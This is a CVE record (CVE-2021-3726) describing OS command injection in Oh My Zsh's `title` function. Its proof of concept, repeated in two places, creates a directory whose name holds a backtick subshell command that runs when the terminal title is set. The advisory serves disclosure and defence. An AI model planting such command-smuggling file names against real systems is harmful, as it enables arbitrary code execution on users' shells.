{
    "containers": {
        "cna": {
            "affected": [
                {
                    "product": "ohmyzsh/ohmyzsh",
                    "vendor": "ohmyzsh",
                    "versions": [
                        {
                            "lessThan": "a263cdac",
                            "status": "affected",
                            "version": "unspecified",
                            "versionType": "custom"
                        }
                    ]
                }
            ],
            "descriptions": [
                {
                    "lang": "en",
                    "value": "# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."
                }
            ],
            "exploits": [
                {
                    "lang": "en",
                    "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n   For example:\n\n   ```sh\n   function dirpath_in_title {\n     title \"$PWD\"\n   }\n   add-zsh-hook precmd dirpath_in_title\n   ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n   ```sh\n   baddir='`echo pwned && id`'\n   mkdir \"$baddir\" && cd \"$baddir\"\n   ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n   ![2 title_function poc](https://user-images.githubusercontent.com/1441704/142874935-341ddd3c-21e8-4b9e-a5c1-77c0b3debacc.png)"
                }
            ],
            "metrics": [
                {
                    "cvssV3_1": {
                        "attackComplexity": "HIGH",
                        "attackVector": "NETWORK",
                        "availabilityImpact": "HIGH",
                        "baseScore": 7.5,
                        "baseSeverity": "HIGH",
                        "confidentialityImpact": "HIGH",
                        "integrityImpact": "HIGH",
                        "privilegesRequired": "NONE",
                        "scope": "UNCHANGED",
                        "userInteraction": "REQUIRED",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
                        "version": "3.1"
                    }
                }
            ],
            "problemTypes": [
                {
                    "descriptions": [
                        {
                            "cweId": "CWE-78",
                            "description": "CWE-78 OS Command Injection",
                            "lang": "en",
                            "type": "CWE"
                        }
                    ]
                }
            ],
            "providerMetadata": {
                "dateUpdated": "2021-11-30T09:30:15.000Z",
                "orgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
                "shortName": "@huntrdev"
            },
            "references": [
                {
                    "tags": [
                        "x_refsource_MISC"
                    ],
                    "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"
                }
            ],
            "title": "OS Command Injection in ohmyzsh/ohmyzsh",
            "x_legacyV4Record": {
                "CVE_data_meta": {
                    "ASSIGNER": "security@huntr.dev",
                    "ID": "CVE-2021-3726",
                    "STATE": "PUBLIC",
                    "TITLE": "OS Command Injection in ohmyzsh/ohmyzsh"
                },
                "affects": {
                    "vendor": {
                        "vendor_data": [
                            {
                                "product": {
                                    "product_data": [
                                        {
                                            "product_name": "ohmyzsh/ohmyzsh",
                                            "version": {
                                                "version_data": [
                                                    {
                                                        "version_affected": "<",
                                                        "version_value": "a263cdac"
                                                    }
                                                ]
                                            }
                                        }
                                    ]
                                },
                                "vendor_name": "ohmyzsh"
                            }
                        ]
                    }
                },
                "data_format": "MITRE",
                "data_type": "CVE",
                "data_version": "4.0",
                "description": {
                    "description_data": [
                        {
                            "lang": "eng",
                            "value": "# Vulnerability in `title` function **Description**: the `title` function defined in `lib/termsupport.zsh` uses `print` to set the terminal title to a user-supplied string. In Oh My Zsh, this function is always used securely, but custom user code could use the `title` function in a way that is unsafe. **Fixed in**: [a263cdac](https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac). **Impacted areas**: - `title` function in `lib/termsupport.zsh`. - Custom user code using the `title` function."
                        }
                    ]
                },
                "exploit": [
                    {
                        "lang": "en",
                        "value": "**Exploit PoC**:\n\n1. Install Oh My Zsh.\n2. Add a custom function that calls `title` to set the terminal title with a user-supplied string.\n   For example:\n\n   ```sh\n   function dirpath_in_title {\n     title \"$PWD\"\n   }\n   add-zsh-hook precmd dirpath_in_title\n   ```\n\n3. Create and cd into a directory with a subshell command as its name:\n\n   ```sh\n   baddir='`echo pwned && id`'\n   mkdir \"$baddir\" && cd \"$baddir\"\n   ```\n\n4. The `title` function incorrectly expands the subshell command (see screenshot):\n\n   ![2 title_function poc](https://user-images.githubusercontent.com/1441704/142874935-341ddd3c-21e8-4b9e-a5c1-77c0b3debacc.png)"
                    }
                ],
                "impact": {
                    "cvss": {
                        "attackComplexity": "HIGH",
                        "attackVector": "NETWORK",
                        "availabilityImpact": "HIGH",
                        "baseScore": 7.5,
                        "baseSeverity": "MEDIUM",
                        "confidentialityImpact": "HIGH",
                        "integrityImpact": "HIGH",
                        "privilegesRequired": "NONE",
                        "scope": "UNCHANGED",
                        "userInteraction": "REQUIRED",
                        "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
                        "version": "3.1"
                    }
                },
                "problemtype": {
                    "problemtype_data": [
                        {
                            "description": [
                                {
                                    "lang": "eng",
                                    "value": "CWE-78 OS Command Injection"
                                }
                            ]
                        }
                    ]
                },
                "references": {
                    "reference_data": [
                        {
                            "name": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac",
                            "refsource": "MISC",
                            "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"
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                    ]
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            }
        },
        "adp": [
            {
                "providerMetadata": {
                    "orgId": "af854a3a-2127-422b-91ae-364da2661108",
                    "shortName": "CVE",
                    "dateUpdated": "2024-08-03T17:01:08.345Z"
                },
                "title": "CVE Program Container",
                "references": [
                    {
                        "tags": [
                            "x_refsource_MISC",
                            "x_transferred"
                        ],
                        "url": "https://github.com/ohmyzsh/ohmyzsh/commit/a263cdac"
                    }
                ]
            }
        ]
    },
    "cveMetadata": {
        "assignerOrgId": "c09c270a-b464-47c1-9133-acb35b22c19a",
        "assignerShortName": "@huntrdev",
        "cveId": "CVE-2021-3726",
        "datePublished": "2021-11-30T09:30:15.000Z",
        "dateReserved": "2021-08-19T00:00:00.000Z",
        "dateUpdated": "2024-08-03T17:01:08.345Z",
        "state": "PUBLISHED"
    },
    "dataType": "CVE_RECORD",
    "dataVersion": "5.1"
}